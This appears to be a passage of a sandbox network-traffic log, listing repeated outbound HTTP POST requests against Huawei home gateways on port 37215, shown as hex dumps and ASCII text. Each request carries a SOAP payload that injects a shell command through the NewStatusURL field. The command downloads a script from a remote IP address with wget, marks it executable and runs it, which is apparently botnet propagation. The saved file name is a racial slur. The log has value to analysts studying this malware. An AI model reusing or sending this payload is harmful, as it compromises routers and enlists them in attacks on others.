Feb 19, 2024 18:37:15.415349960 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.969769001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.089729071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521692991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.129518032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:33.089308023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:52.288758039 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.15	46360	31.136.56.38	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.415438890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.969748020 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
